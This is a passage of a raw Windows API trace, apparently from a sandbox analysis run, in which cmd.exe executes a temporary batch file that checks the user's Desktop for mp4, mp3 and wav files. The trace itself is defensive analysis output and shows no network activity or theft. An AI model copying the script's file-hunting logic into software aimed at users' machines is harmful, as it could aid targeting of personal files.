RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.613] GetProcessHeap () returned 0x4e0000 [0038.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.613] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.614] GetProcessHeap () returned 0x4e0000 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.614] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.614] GetProcessHeap () returned 0x4e0000 [0038.614] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.614] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.614] GetProcessHeap () returned 0x4e0000 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.614] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.614] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.614] GetProcessHeap () returned 0x4e0000 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.614] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.614] GetProcessHeap () returned 0x4e0000 [0038.614] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.614] GetProcessHeap () returned 0x4e0000 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.614] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.615] _tell (_FileHandle=3) returned 295 [0038.615] _close (_FileHandle=3) returned 0 [0038.615] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0038.615] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.615] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.615] GetLastError () returned 0x2 [0038.615] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.615] GetLastError () returned 0x6 [0038.615] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.615] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.852] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.852] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.853] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.853] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.853] SetConsoleInputExeNameW () returned 0x1 [0038.853] GetConsoleOutputCP () returned 0x1b5 [0038.853] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.853] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.854] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.854] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.854] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.854] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.854] GetProcessHeap () returned 0x4e0000 [0038.854] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.854] GetProcessHeap () returned 0x4e0000 [0038.854] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.854] GetProcessHeap () returned 0x4e0000 [0038.854] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.854] GetProcessHeap () returned 0x4e0000 [0038.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.855] GetProcessHeap () returned 0x4e0000 [0038.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.855] GetProcessHeap () returned 0x4e0000 [0038.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.855] GetProcessHeap () returned 0x4e0000 [0038.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.855] GetProcessHeap () returned 0x4e0000 [0038.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.855] GetProcessHeap () returned 0x4e0000 [0038.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.855] GetProcessHeap () returned 0x4e0000 [0038.855] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.855] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.855] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0038.855] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.855] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0038.855] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.855] GetFileType (hFile=0x74) returned 0x1 [0038.856] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.856] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.856] GetProcessHeap () returned 0x4e0000 [0038.856] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.856] GetProcessHeap () returned 0x4e0000 [0038.856] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.856] _tell (_FileHandle=3) returned 297 [0038.856] _close (_FileHandle=3) returned 0 [0038.856] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.856] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.856] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.856] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.857] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.857] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0038.857] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.857] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0038.857] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.857] GetFileType (hFile=0x74) returned 0x1 [0038.857] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.857] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.857] GetProcessHeap () returned 0x4e0000 [0038.857] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.857] GetProcessHeap () returned 0x4e0000 [0038.857] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.857] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.857] GetProcessHeap () returned 0x4e0000 [0038.857] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.857] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.857] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.857] GetProcessHeap () returned 0x4e0000 [0038.857] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.858] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.858] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.858] GetProcessHeap () returned 0x4e0000 [0038.858] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.858] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.858] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.858] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.858] GetProcessHeap () returned 0x4e0000 [0038.858] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.858] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.858] GetProcessHeap () returned 0x4e0000 [0038.858] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.858] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.858] GetProcessHeap () returned 0x4e0000 [0038.858] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.858] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.859] _tell (_FileHandle=3) returned 322 [0038.859] _close (_FileHandle=3) returned 0 [0038.859] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0038.859] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.859] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.860] GetLastError () returned 0x2 [0038.860] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.860] GetLastError () returned 0x6 [0038.860] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.860] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.860] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.860] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.860] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.860] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.861] SetConsoleInputExeNameW () returned 0x1 [0038.861] GetConsoleOutputCP () returned 0x1b5 [0038.861] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.861] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.861] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.861] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.861] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.861] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.861] GetProcessHeap () returned 0x4e0000 [0038.861] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.861] GetProcessHeap () returned 0x4e0000 [0038.861] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.861] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.862] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.862] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.862] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.862] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.862] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.862] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.862] GetProcessHeap () returned 0x4e0000 [0038.862] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.862] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.862] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0038.862] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.862] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0038.862] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.862] GetFileType (hFile=0x74) returned 0x1 [0038.863] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.863] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.863] GetProcessHeap () returned 0x4e0000 [0038.863] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.863] GetProcessHeap () returned 0x4e0000 [0038.863] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.863] _tell (_FileHandle=3) returned 324 [0038.863] _close (_FileHandle=3) returned 0 [0038.863] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.863] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.863] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.863] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.863] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.863] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0038.864] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.864] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0038.864] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.864] GetFileType (hFile=0x74) returned 0x1 [0038.864] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.864] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.864] GetProcessHeap () returned 0x4e0000 [0038.864] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.864] GetProcessHeap () returned 0x4e0000 [0038.864] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.864] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.864] GetProcessHeap () returned 0x4e0000 [0038.864] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.864] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.864] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.864] GetProcessHeap () returned 0x4e0000 [0038.864] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.864] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.864] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.865] GetProcessHeap () returned 0x4e0000 [0038.865] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.865] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.865] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.865] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.865] GetProcessHeap () returned 0x4e0000 [0038.865] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.865] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.865] GetProcessHeap () returned 0x4e0000 [0038.865] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.865] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.865] GetProcessHeap () returned 0x4e0000 [0038.865] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.865] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.866] _tell (_FileHandle=3) returned 349 [0038.866] _close (_FileHandle=3) returned 0 [0038.866] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0038.866] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.866] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.866] GetLastError () returned 0x2 [0038.866] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.866] GetLastError () returned 0x6 [0038.867] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.867] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.867] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.867] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.867] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.867] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.867] SetConsoleInputExeNameW () returned 0x1 [0038.867] GetConsoleOutputCP () returned 0x1b5 [0038.868] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.868] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.868] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.868] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.868] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.868] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.868] GetProcessHeap () returned 0x4e0000 [0038.868] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.868] GetProcessHeap () returned 0x4e0000 [0038.868] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.868] GetProcessHeap () returned 0x4e0000 [0038.868] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.868] GetProcessHeap () returned 0x4e0000 [0038.868] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.868] GetProcessHeap () returned 0x4e0000 [0038.869] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.869] GetProcessHeap () returned 0x4e0000 [0038.869] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.869] GetProcessHeap () returned 0x4e0000 [0038.869] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.869] GetProcessHeap () returned 0x4e0000 [0038.869] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.869] GetProcessHeap () returned 0x4e0000 [0038.869] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.869] GetProcessHeap () returned 0x4e0000 [0038.869] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.869] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.869] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0038.869] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0038.869] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0038.869] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.869] GetFileType (hFile=0x74) returned 0x1 [0038.869] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.869] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0038.870] 